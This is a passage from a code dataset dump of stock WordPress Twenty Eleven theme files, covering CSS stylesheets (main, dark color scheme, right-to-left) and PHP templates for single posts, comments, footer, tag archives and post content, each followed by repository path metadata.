-7.6%; max-width: 850px; } #ie7 section.recent-posts { margin-right: 7.6%; } /* =IE8 ----------------------------------------------- */ #ie8 section.feature-image.large img { width: 100%; }
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/style.css
CSS
asf20
54,966
<?php /** * The Template for displaying all single posts. * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ get_header(); ?> <div id="primary"> <div id="content" role="main"> <?php while ( have_posts() ) : the_post(); ?> <nav id="nav-single"> <h3 class="assistive-text"><?php _e( 'Post navigation', 'twentyeleven' ); ?></h3> <span class="nav-previous"><?php previous_post_link( '%link', __( '<span class="meta-nav">&larr;</span> Previous', 'twentyeleven' ) ); ?></span> <span class="nav-next"><?php next_post_link( '%link', __( 'Next <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?></span> </nav><!-- #nav-single --> <?php get_template_part( 'content-single', get_post_format() ); ?> <?php comments_template( '', true ); ?> <?php endwhile; // end of the loop. ?> </div><!-- #content --> </div><!-- #primary --> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/single.php
PHP
asf20
948
<?php /** * The template for displaying Comments. * * The area of the page that contains both current comments * and the comment form. The actual display of comments is * handled by a callback to twentyeleven_comment() which is * located in the functions.php file. * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ ?> <div id="comments"> <?php if ( post_password_required() ) : ?> <p class="nopassword"><?php _e( 'This post is password protected. Enter the password to view any comments.', 'twentyeleven' ); ?></p> </div><!-- #comments --> <?php /* Stop the rest of comments.php from being processed, * but don't kill the script entirely -- we still have * to fully load the template. */ return; endif; ?> <?php // You can start editing here -- including this comment! ?> <?php if ( have_comments() ) : ?> <h2 id="comments-title"> <?php printf( _n( 'One thought on &ldquo;%2$s&rdquo;', '%1$s thoughts on &ldquo;%2$s&rdquo;', get_comments_number(), 'twentyeleven' ), number_format_i18n( get_comments_number() ), '<span>' . get_the_title() . '</span>' ); ?> </h2> <?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // are there comments to navigate through ?> <nav id="comment-nav-above"> <h1 class="assistive-text"><?php _e( 'Comment navigation', 'twentyeleven' ); ?></h1> <div class="nav-previous"><?php previous_comments_link( __( '&larr; Older Comments', 'twentyeleven' ) ); ?></div> <div class="nav-next"><?php next_comments_link( __( 'Newer Comments &rarr;', 'twentyeleven' ) ); ?></div> </nav> <?php endif; // check for comment navigation ?> <ol class="commentlist"> <?php /* Loop through and list the comments. Tell wp_list_comments() * to use twentyeleven_comment() to format the comments. * If you want to overload this in a child theme then you can * define twentyeleven_comment() and that will be used instead. * See twentyeleven_comment() in twentyeleven/functions.php for more. */ wp_list_comments( array( 'callback' => 'twentyeleven_comment' ) ); ?> </ol> <?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // are there comments to navigate through ?> <nav id="comment-nav-below"> <h1 class="assistive-text"><?php _e( 'Comment navigation', 'twentyeleven' ); ?></h1> <div class="nav-previous"><?php previous_comments_link( __( '&larr; Older Comments', 'twentyeleven' ) ); ?></div> <div class="nav-next"><?php next_comments_link( __( 'Newer Comments &rarr;', 'twentyeleven' ) ); ?></div> </nav> <?php endif; // check for comment navigation ?> <?php /* If there are no comments and comments are closed, let's leave a little note, shall we? * But we only want the note on posts and pages that had comments in the first place. */ if ( ! comments_open() && get_comments_number() ) : ?> <p class="nocomments"><?php _e( 'Comments are closed.' , 'twentyeleven' ); ?></p> <?php endif; ?> <?php endif; // have_comments() ?> <?php comment_form(); ?> </div><!-- #comments -->
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/comments.php
PHP
asf20
3,124
/* A dark color scheme for Twenty Eleven */ /* =Global ----------------------------------------------- */ body { background: #1d1d1d; color: #bbb; } #page { background: #0f0f0f; } /* Headings */ hr { background-color: #333; } /* Text elements */ blockquote cite { color: #999; } pre { background: #0b0b0b; } code, kbd { font: 13px Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; } abbr, acronym, dfn { border-bottom: 1px dotted #999; } ins { background: #00063f; } input[type=text], input[type=password], input[type=email], input[type=url], input[type=number], textarea { border: 1px solid #222; } input#s { background-color: #ddd; } /* Links */ a { } /* =Header ----------------------------------------------- */ #branding { border-top: 2px solid #0a0a0a; } #site-title a { color: #eee; } #site-title a:hover, #site-title a:focus, #site-title a:active { } #site-description { color: #858585; } #branding #s { background-color: #ddd; } /* =Menu ----------------------------------------------- */ #access { background: #333; /* Show a solid color for older browsers */ background: -moz-linear-gradient(#383838, #272727); background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#383838), to(#272727)); /* older webkit syntax */ background: -webkit-linear-gradient(#383838, #272727); border-bottom: 1px solid #222; } /* =Content ----------------------------------------------- */ .page-title { color: #ccc; } .hentry { border-color: #222; } .entry-title { color: #ddd; } .entry-title, .entry-title a { color: #ddd; } .entry-title a:hover, .entry-title a:focus, .entry-title a:active { } .entry-meta { color: #999; } .entry-content h1, .entry-content h2, .comment-content h1, .comment-content h2 { color: #fff; } .entry-content table, .comment-content table { border-color: #222; } .entry-content th, .comment-content th { color: #999; } .entry-content td, .comment-content td { border-color: #222; } .page-link { } .page-link a { background: #242424; color: #bbb; } .page-link a:hover { background: #999; color: #000; } .entry-meta .edit-link a { background: #242424; color: #bbb; } .entry-meta .edit-link a:hover, .entry-meta .edit-link a:focus, .entry-meta .edit-link a:active { background: #999; color: #000; } /* Images */ .wp-caption { background: #2c2c2c; } .wp-caption .wp-caption-text { color: #999; } .wp-caption .wp-caption-text:before { color: #999; } /* Image borders */ img[class*="wp-image-"], #content .gallery .gallery-icon img { border-color: #2c2c2c; } .wp-caption img { border-color: #2c2c2c; } a:focus img[class*="wp-image-"], a:hover img[class*="wp-image-"], a:active img[class*="wp-image-"] { background: #2c2c2c; border-color: #444; } .wp-caption a:focus img, .wp-caption a:active img, .wp-caption a:hover img { background: #0f0f0f; border-color: #2c2c2c; } /* Password Protected Posts */ .post-password-required input[type=password] { background: #ddd; } .post-password-required input[type=password]:focus { background: #fff; } /* Author Info */ .singular #author-info { background: #060606; border-color: #222; } .archive #author-info { border-color: #222; } #author-avatar img { background: #000; -webkit-box-shadow: 0 1px 2px #444; -moz-box-shadow: 0 1px 2px #444; box-shadow: 0 1px 2px #444; } #author-description h2 { color: #fff; } /* Comments link */ .entry-header .comments-link a { background: #282828 url(../images/comment-bubble-dark.png) no-repeat; border-color: #222; color: #888; } .rtl .entry-header .comments-link a { background-image: url(../images/comment-bubble-dark-rtl.png); } /* Singular content styles for Posts and Pages */ .singular .entry-title { color: #fff; } /* =Status ----------------------------------------------- */ .format-status img.avatar { -webkit-box-shadow: 0 1px 2px #333; -moz-box-shadow: 0 1px 2px #333; box-shadow: 0 1px 2px #333; } /* =Quote ----------------------------------------------- */ .format-quote blockquote { color: #aaa; } /* =Image ----------------------------------------------- */ .indexed.format-image .wp-caption { background: #242424; } .indexed.format-image .entry-meta .edit-link a { color: #ddd; } .indexed.format-image .entry-meta .edit-link a:hover { color: #fff; } /* =error404 ----------------------------------------------- */ .error404 #main #searchform { background: #060606; border-color: #222; } /* =Showcase ----------------------------------------------- */ h1.showcase-heading { color: #ccc; } /* Intro */ article.intro { background: #060606; } article.intro .entry-content { color: #eee; } article.intro .edit-link a { background: #555; color: #000; } article.intro .edit-link a:hover { background: #888; } /* Featured post */ section.featured-post .hentry { color: #999; } /* Small featured post */ section.featured-post .attachment-small-feature { border-color: #444; } section.featured-post .attachment-small-feature:hover { border-color: #777; } article.feature-image.small .entry-summary { color: #aaa; } article.feature-image.small .entry-summary p a { background: #ddd; color: #111; } article.feature-image.small .entry-summary p a:hover { color: #40220c; } /* Large featured post */ article.feature-image.large .entry-title a { background: #ddd; background: rgba(0,0,0,0.8); color: #fff; } section.feature-image.large:hover .entry-title a, section.feature-image.large .entry-title:hover a { background: #111; background: rgba(255,255,255,0.8); color: #000; } section.feature-image.large img { border-bottom: 1px solid #222; } /* Featured Slider */ .featured-posts { border-color: #222; } .featured-posts section.featured-post { background: #000; } .featured-post .feature-text:after, .featured-post .feature-image.small:after { background: -moz-linear-gradient(top, rgba(0,0,0,0) 0%, rgba(0,0,0,1) 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(0,0,0,0)), color-stop(100%,rgba(0,0,0,1))); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, rgba(0,0,0,0) 0%,rgba(0,0,0,1) 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, rgba(0,0,0,0) 0%,rgba(0,0,0,1) 100%); /* Opera11.10+ */ background: -ms-linear-gradient(top, rgba(0,0,0,0) 0%,rgba(0,0,0,1) 100%); /* IE10+ */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00000000', endColorstr='#000000',GradientType=0 ); /* IE6-9 */ background: linear-gradient(top, rgba(0,0,0,0) 0%,rgba(0,0,0,1) 100%); /* W3C */ } .feature-slider a { background: #c3c3c3; background: rgba(60,60,60,0.9); -webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); -moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); } .feature-slider a.active { background: #000; background: rgba(255,255,255,0.8); -webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); -moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); } /* Recent Posts */ section.recent-posts .other-recent-posts { border-color: #222; } section.recent-posts .other-recent-posts .entry-title { border-color: #222; } section.recent-posts .other-recent-posts a[rel="bookmark"] { color: #ccc; } section.recent-posts .other-recent-posts a[rel="bookmark"]:hover { } section.recent-posts .other-recent-posts .comments-link a, section.recent-posts .other-recent-posts .comments-link > span { border-color: #959595; color: #bbb; } section.recent-posts .other-recent-posts .comments-link > span { border-color: #444; color: #777; } section.recent-posts .other-recent-posts .comments-link a:hover { } /* =Attachments ----------------------------------------------- */ .image-attachment div.attachment { background: #060606; border-color: #222; } .image-attachment div.attachment a img { border-color: #060606; } .image-attachment div.attachment a:focus img, .image-attachment div.attachment a:hover img, .image-attachment div.attachment a:active img { border-color: #2c2c2c; background: #0f0f0f; } /* =Widgets ----------------------------------------------- */ .widget-title { color: #ccc; } .widget ul li { color: #888; } /* Search Widget */ .widget_search #searchsubmit { background: #222; border-color: #333; -webkit-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); -moz-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); color: #777; } .widget_search #searchsubmit:active { -webkit-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); -moz-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); color: #40220c; } /* Calendar Widget */ .widget_calendar #wp-calendar { color: #aaa; } .widget_calendar #wp-calendar th { background: #0b0b0b; border-color: #333; } .widget_calendar #wp-calendar tfoot td { background: #0b0b0b; border-color: #333; } /* =Comments ----------------------------------------------- */ #comments-title { color: #bbb; } .nocomments { color: #555; } .commentlist > li.comment { background: #090909; border-color: #222; } .commentlist .children li.comment { background: #000; border-color: #222; } .rtl .commentlist .children li.comment { border-color: #222; } .comment-meta { color: #999; } .commentlist .avatar { -webkit-box-shadow: 0 1px 2px #222; -moz-box-shadow: 0 1px 2px #222; box-shadow: 0 1px 2px #222; } a.comment-reply-link { background: #242424; color: #bbb; } li.bypostauthor a.comment-reply-link { background: #111; } a.comment-reply-link:hover, a.comment-reply-link:focus, a.comment-reply-link:active, li.bypostauthor a.comment-reply-link:hover, li.bypostauthor a.comment-reply-link:focus, li.bypostauthor a.comment-reply-link:active { background: #999; color: #000; } .commentlist > li:before { content: url(../images/comment-arrow-dark.png); } .rtl .commentlist > li:before { content: url(../images/comment-arrow-dark-rtl.png); } /* Post author highlighting */ .commentlist > li.bypostauthor { background: #222; border-color: #2c2c2c; } .commentlist > li.bypostauthor:before { content: url(../images/comment-arrow-bypostauthor-dark.png); } .rtl .commentlist > li.bypostauthor:before { content: url(../images/comment-arrow-bypostauthor-dark-rtl.png); } /* Post Author threaded comments */ .commentlist .children > li.bypostauthor { background: #222; border-color: #2c2c2c; } .commentlist > li.bypostauthor .comment-meta { color: #a8a8a8; } /* Comment Form */ #respond { background: #222; border-color: #2c2c2c; } #respond input[type="text"], #respond textarea { background: #000; border: 4px solid #111; -webkit-box-shadow: inset 0 1px 3px rgba(51,51,51,0.95); -moz-box-shadow: inset 0 1px 3px rgba(51,51,51,0.95); box-shadow: inset 0 1px 3px rgba(51,51,51,0.95); color: #bbb; } #respond .comment-form-author label, #respond .comment-form-email label, #respond .comment-form-url label, #respond .comment-form-comment label { background: #111; -webkit-box-shadow: 1px 2px 2px rgba(51,51,51,0.8); -moz-box-shadow: 1px 2px 2px rgba(51,51,51,0.8); box-shadow: 1px 1px 2px rgba(51,51,51,0.8); color: #aaa; } .rtl #respond .comment-form-author label, .rtl #respond .comment-form-email label, .rtl #respond .comment-form-url label, .rtl #respond .comment-form-comment label { -webkit-box-shadow: -1px 2px 2px rgba(51,51,51,0.8); -moz-box-shadow: -1px 2px 2px rgba(51,51,51,0.8); box-shadow: -1px 1px 2px rgba(51,51,51,0.8); } #respond .comment-form-author .required, #respond .comment-form-email .required { color: #42caff; } #respond input#submit { background: #ddd; -webkit-box-shadow: 0px 1px 2px rgba(0,0,0,0.3); -moz-box-shadow: 0px 1px 2px rgba(0,0,0,0.3); box-shadow: 0px 1px 2px rgba(0,0,0,0.3); color: #111; text-shadow: 0 -1px 0 rgba(0,0,0,0.3); } #respond input#submit:active { color: #40220c; } #respond #cancel-comment-reply-link { color: #999; } #reply-title { color: #ccc; } #cancel-comment-reply-link { color: #777; } #cancel-comment-reply-link:focus, #cancel-comment-reply-link:active, #cancel-comment-reply-link:hover { color: #00b4cc; } /* =Footer ----------------------------------------------- */ #supplementary { border-color: #222; } /* Site Generator Line */ #site-generator { background: #060606; border-color: #000; } /* =Print ----------------------------------------------- */ @media print { body { color: #333; background: none !important; } #page { background: none !important; } /* Comments */ .commentlist > li.comment { } /* Post author highlighting */ .commentlist > li.bypostauthor { color: #333; } .commentlist > li.bypostauthor .comment-meta { color: #959595; } .commentlist > li:before { content: none !important; } /* Post Author threaded comments */ .commentlist .children > li.bypostauthor { background: #fff; border-color: #ddd; } .commentlist .children > li.bypostauthor > article, .commentlist .children > li.bypostauthor > article .comment-meta { color: #959595; } }
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/colors/dark.css
CSS
asf20
13,248
<?php /** * Template Name: Sidebar Template * Description: A Page Template that adds a sidebar to pages * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ get_header(); ?> <div id="primary"> <div id="content" role="main"> <?php while ( have_posts() ) : the_post(); ?> <?php get_template_part( 'content', 'page' ); ?> <?php comments_template( '', true ); ?> <?php endwhile; // end of the loop. ?> </div><!-- #content --> </div><!-- #primary --> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/sidebar-page.php
PHP
asf20
563
/* Theme Name: Twenty Eleven Adding support for language written in a Right To Left (RTL) direction is easy - it's just a matter of overwriting all the horizontal positioning attributes of your CSS stylesheet in a separate stylesheet file named rtl.css. http://codex.wordpress.org/Right_to_Left_Language_Support */ /* =Reset reset ----------------------------------------------- */ caption, th, td { text-align: right; } /* =Structure ----------------------------------------------- */ body { direction:rtl; unicode-bidi:embed; } /* Showcase */ .page-template-showcase-php section.recent-posts { float: left; margin: 0 31% 0 0; } .page-template-showcase-php #main .widget-area { float: right; margin: 0 0 0 -22.15%; } /* One column */ .one-column article.feature-image.small .entry-summary a { left: auto; right: -9%; } /* Simplify the pullquotes and pull styles */ .one-column.singular .entry-meta .edit-link a { right: 0px; left: auto; } /* Make sure we have room for our comment avatars */ .one-column .commentlist > li.comment { margin-left: 0; margin-right: 102px; } /* Make sure the logo and search form don't collide */ .one-column #branding #searchform { right: auto; left: 40px; } /* Talking avatars take up too much room at this size */ .one-column .commentlist > li.comment { margin-right: 0; } .one-column .commentlist > li.comment .comment-meta, .one-column .commentlist > li.comment .comment-content { margin-right: 0; margin-left: 85px; } .one-column .commentlist .avatar { right: auto; left: 1.625em; } .one-column .commentlist .children .avatar { left: auto; right: 2.2em; } /* =Global ----------------------------------------------- */ /* Text elements */ p { margin-bottom: 1.625em; } ul, ol { margin: 0 2.5em 1.625em 0; } .ltr ul, .ltr ol { margin: 0 0 1.625em 2.5em; } blockquote { font-family: Arial, sans-serif; } blockquote em, blockquote i, blockquote cite { font-style: normal; } /* Forms */ textarea { padding-left: 0; padding-right: 3px; } input#s { background-position: 97% 6px; padding: 4px 28px 4px 10px; } /* Assistive text */ #access a.assistive-text:active, #access a.assistive-text:focus { left: auto; right: 7.6%; } /* =Header ----------------------------------------------- */ #site-title { margin-right: 0; margin-left: 270px; } #site-description { margin: 0 0 3.65625em 270px; } /* =Menu -------------------------------------------------------------- */ #access { float: right; } #access ul { margin: 0 -0.8125em 0 0; padding-right: 0; } #access li { float: right; } #access ul ul { float: right; left: auto; right: 0; } #access ul ul ul { left: auto; right: 100%; } /* Search Form */ #branding #searchform { right: auto; left: 7.6%; text-align: left; } #branding #s { float: left; } #branding .only-search + #access div { padding-right: 0; padding-left: 205px; } /* =Content ----------------------------------------------- */ .entry-title, .entry-header .entry-meta { padding-right: 0; padding-left: 76px; } .entry-content td, .comment-content td { padding: 6px 0 6px 10px; } .page-link span { margin-right: 0; margin-left: 6px; } .entry-meta .edit-link a { float: left; } /* Images */ .wp-caption .wp-caption-text, .gallery-caption { font-family: Arial, sans-serif; } .wp-caption .wp-caption-text { padding: 10px 40px 5px 0px; } .wp-caption .wp-caption-text:before { margin-right: 0; margin-left: 5px; left: auto; right: 10px; } #content .gallery-columns-4 .gallery-item { padding-right:0; padding-left:2%; } /* Author Info */ .singular #author-info { margin: 2.2em -35.4% 0 -35.6%; } #author-avatar { float: right; margin-right: 0; margin-left: -78px; } #author-description { float: right; margin-left: 0; margin-right: 108px; } /* Comments link */ .entry-header .comments-link a { background-image: url(images/comment-bubble-rtl.png); right: auto; left: 0; } /* Post Formats Headings */ .singular .entry-title, .singular .entry-header .entry-meta { padding-left: 0; } .singular .entry-header .entry-meta { left: auto; right: 0; } .singular .entry-meta .edit-link a { left: auto; right: 50px; } /* =Gallery ----------------------------------------------- */ .format-gallery .gallery-thumb { float: right; margin: .375em 0 0 1.625em; } /* =Status ----------------------------------------------- */ .format-status img.avatar { float: right; margin: 4px 0 2px 10px; } /* =Image ----------------------------------------------- */ .indexed.format-image div.entry-meta { float: right; } /* =error404 ---------------------- ------------------------- */ .error404 #main .widget { float: right; margin-right: auto; margin-left: 3.7%; } .error404 #main .widget_archive { margin-left: 0; } .error404 #main .widget_tag_cloud { margin-left: 0; } /* =Showcase ----------------------------------------------- */ article.intro .edit-link a { right: auto; left: 20px; } /* Featured post */ section.featured-post { float: right; } /* Small featured post */ section.featured-post .attachment-small-feature { float: left; margin: 0 0 1.625em -8.9%; right: auto; left: -15px; } article.feature-image.small { float: right; } article.feature-image.small .entry-summary p a { left:auto; right: -23.8%; padding: 9px 85px 9px 26px; } /* Large featured post */ section.feature-image.large .hentry { left:auto; right: 9%; margin: 1.625em 0 0 9%; } /* Featured Slider */ .featured-posts .showcase-heading { padding-left: 0; padding-right: 8.9%; } .featured-posts section.featured-post { left: auto; right: 0; } #content .feature-slider { right: auto; left: 8.9%; } .feature-slider li { float: right; } /* Recent Posts */ section.recent-posts .other-recent-posts a[rel="bookmark"] { float: right; } section.recent-posts .other-recent-posts .comments-link a, section.recent-posts .other-recent-posts .comments-link > span { padding: 0.3125em 1em 0.3125em 0; right: auto; left: 0; text-align: left; } /* =Attachments ----------------------------------------------- */ /* =Navigation -------------------------------------------------------------- */ .nav-previous { float: right; } .nav-next { float: left; text-align: left; } /* Singular navigation */ #nav-single { float: left; text-align: left; } #nav-single .nav-next { padding-left: 0; padding-right: .5em; } /* =Widgets ----------------------------------------------- */ .widget ul ul { margin-left: 0; margin-right: 1.5em; } /* Twitter */ .widget_twitter .timesince { margin-right: 0; margin-left: -10px; text-align: left; } /* =Comments ----------------------------------------------- */ .commentlist .children li.comment { border-left: none; border-right: 1px solid #ddd; -moz-border-radius: 3px 0 0 3px; border-radius: 3px 0 0 3px; } .commentlist .children li.comment .comment-meta { margin-left: 0; margin-right: 50px; } .commentlist .avatar { left: auto; right: -102px; } .commentlist > li:before { content: url(images/comment-arrow-rtl.png); left:auto; right: -21px; } .commentlist > li.pingback:before { content: ''; } .commentlist .children .avatar { left: auto; right: 2.2em; } /* Post author highlighting */ .commentlist > li.bypostauthor:before { content: url(images/comment-arrow-bypostauthor-rtl.png); } /* sidebar-page.php comments */ /* Make sure we have room for our comment avatars */ .page-template-sidebar-page-php .commentlist > li.comment, .page-template-sidebar-page-php.commentlist .pingback { margin-left: 0; margin-right: 102px; } /* Comment Form */ #respond .comment-form-author label, #respond .comment-form-email label, #respond .comment-form-url label, #respond .comment-form-comment label { left: auto; right: 4px; } #respond .comment-form-author label, #respond .comment-form-email label, #respond .comment-form-url label, #respond .comment-form-comment label { -webkit-box-shadow: -1px 2px 2px rgba(204,204,204,0.8); -moz-box-shadow: -1px 2px 2px rgba(204,204,204,0.8); box-shadow: -1px 2px 2px rgba(204,204,204,0.8); } #respond .comment-form-author .required, #respond .comment-form-email .required { left: auto; right: 75%; } #respond .form-submit { float: left; } #respond input#submit { left: auto; right: 30px; padding: 5px 22px 5px 42px; } #respond #cancel-comment-reply-link { margin-left: 0; margin-right: 10px; } #cancel-comment-reply-link { right: auto; left: 1.625em; } /* =Footer ----------------------------------------------- */ /* Two Footer Widget Areas */ #supplementary.two .widget-area { float: right; margin-right: 0; margin-left: 3.7%; } #supplementary.two .widget-area + .widget-area { margin-left: 0; } /* Three Footer Widget Areas */ #supplementary.three .widget-area { float: right; margin-right: 0; margin-left: 3.7%; } #supplementary.three .widget-area + .widget-area + .widget-area { margin-left: 0; } /* Site Generator Line */ #site-generator .sep { background-position: right center; } /* =Responsive Structure ----------------------------------------------- */ @media (max-width: 800px) { /* Simplify the showcase template when small feature */ section.featured-post .attachment-small-feature, .one-column section.featured-post .attachment-small-feature { float: right; } article.feature-image.small { float: left; } article.feature-image.small .entry-summary p a { right: 0; } .singular .entry-meta .edit-link a { left: auto; right: 0px; } /* Make sure we have room for our comment avatars */ .commentlist > li.comment, .commentlist .pingback { margin-left: 0; margin-right: 102px; } /* No need to float footer widgets at this size */ #colophon #supplementary .widget-area { margin-left: 0; } /* No need to float 404 widgets at this size */ .error404 #main .widget { margin-left: 0; } } @media (max-width: 650px) { /* @media (max-width: 650px) Reduce font-sizes for better readability on smaller devices */ #site-title, #site-description { margin-left: 0; } /* Talking avatars take up too much room at this size */ .commentlist > li.comment, .commentlist > li.pingback { margin-right: 0 !important; } .commentlist .children .avatar { left: auto; right: 2.2em; } /* Use the available space in the smaller comment form */ #respond .comment-form-author .required, #respond .comment-form-email .required { left: auto; right: 95%; } #content .gallery-columns-3 .gallery-item { padding-right: 0; padding-left:2%; } } @media (max-width: 450px) { #content .gallery-columns-2 .gallery-item { padding-right:0; padding-left:4%; } } /* =Print ----------------------------------------------- */ @media print { #primary { float: right; } /* Comments */ .commentlist .avatar { left: auto; right: 2.2em; } .commentlist li.comment .comment-meta { margin-left: 0; margin-right: 50px; } } /* =IE7 ----------------------------------------------- */ #ie7 section.recent-posts { margin-right: 0; margin-left: 7.6%; }
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/rtl.css
CSS
asf20
10,976
<?php /** * The template for displaying the footer. * * Contains the closing of the id=main div and all content after * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ ?> </div><!-- #main --> <footer id="colophon" role="contentinfo"> <?php /* A sidebar in the footer? Yep. You can can customize * your footer with three columns of widgets. */ if ( ! is_404() ) get_sidebar( 'footer' ); ?> <div id="site-generator"> <?php do_action( 'twentyeleven_credits' ); ?> <a href="<?php echo esc_url( __( 'http://wordpress.org/', 'twentyeleven' ) ); ?>" title="<?php esc_attr_e( 'Semantic Personal Publishing Platform', 'twentyeleven' ); ?>"><?php printf( __( 'Proudly powered by %s', 'twentyeleven' ), 'WordPress' ); ?></a> </div> </footer><!-- #colophon --> </div><!-- #page --> <?php wp_footer(); ?> </body> </html>
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/footer.php
PHP
asf20
898
<?php /** * The template used to display Tag Archive pages * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ get_header(); ?> <section id="primary"> <div id="content" role="main"> <?php if ( have_posts() ) : ?> <header class="page-header"> <h1 class="page-title"><?php printf( __( 'Tag Archives: %s', 'twentyeleven' ), '<span>' . single_tag_title( '', false ) . '</span>' ); ?></h1> <?php $tag_description = tag_description(); if ( ! empty( $tag_description ) ) echo apply_filters( 'tag_archive_meta', '<div class="tag-archive-meta">' . $tag_description . '</div>' ); ?> </header> <?php twentyeleven_content_nav( 'nav-above' ); ?> <?php /* Start the Loop */ ?> <?php while ( have_posts() ) : the_post(); ?> <?php /* Include the Post-Format-specific template for the content. * If you want to overload this in a child theme then include a file * called content-___.php (where ___ is the Post Format name) and that will be used instead. */ get_template_part( 'content', get_post_format() ); ?> <?php endwhile; ?> <?php twentyeleven_content_nav( 'nav-below' ); ?> <?php else : ?> <article id="post-0" class="post no-results not-found"> <header class="entry-header"> <h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1> </header><!-- .entry-header --> <div class="entry-content"> <p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyeleven' ); ?></p> <?php get_search_form(); ?> </div><!-- .entry-content --> </article><!-- #post-0 --> <?php endif; ?> </div><!-- #content --> </section><!-- #primary --> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/tag.php
PHP
asf20
1,888
<?php /** * The template for displaying page content in the showcase.php page template * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class( 'intro' ); ?>> <header class="entry-header"> <h2 class="entry-title"><?php the_title(); ?></h2> </header><!-- .entry-header --> <div class="entry-content"> <?php the_content(); ?> <?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?> <?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?> </div><!-- .entry-content --> </article><!-- #post-<?php the_ID(); ?> -->
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/content-intro.php
PHP
asf20
743
<?php /** * The default template for displaying content * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <header class="entry-header"> <hgroup> <h2 class="entry-title"><a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2> <h3 class="entry-format"><?php _e( 'Quote', 'twentyeleven' ); ?></h3> </hgroup> <div class="entry-meta"> <?php twentyeleven_posted_on(); ?> </div><!-- .entry-meta --> <?php if ( comments_open() && ! post_password_required() ) : ?> <div class="comments-link"> <?php comments_popup_link( '<span class="leave-reply">' . __( 'Reply', 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?> </div> <?php endif; ?> </header><!-- .entry-header --> <?php if ( is_search() ) : // Only display Excerpts for Search ?> <div class="entry-summary"> <?php the_excerpt(); ?> </div><!-- .entry-summary --> <?php else : ?> <div class="entry-content"> <?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?> <?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?> </div><!-- .entry-content --> <?php endif; ?> <footer class="entry-meta"> <?php $show_sep = false; ?> <?php /* translators: used between list items, there is a space after the comma */ $categories_list = get_the_category_list( __( ', ', 'twentyeleven' ) ); if ( $categories_list ): ?> <span class="cat-links"> <?php printf( __( '<span class="%1$s">Posted in</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-cat-links', $categories_list ); $show_sep = true; ?> </span> <?php endif; // End if categories ?> <?php /* translators: used between list items, there is a space after the comma */ $tags_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) ); if ( $tags_list ): if ( $show_sep ) : ?> <span class="sep"> | </span> <?php endif; // End if $show_sep ?> <span class="tag-links"> <?php printf( __( '<span class="%1$s">Tagged</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); $show_sep = true; ?> </span> <?php endif; // End if $tags_list ?> <?php if ( comments_open() ) : ?> <?php if ( $show_sep ) : ?> <span class="sep"> | </span> <?php endif; // End if $show_sep ?> <span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 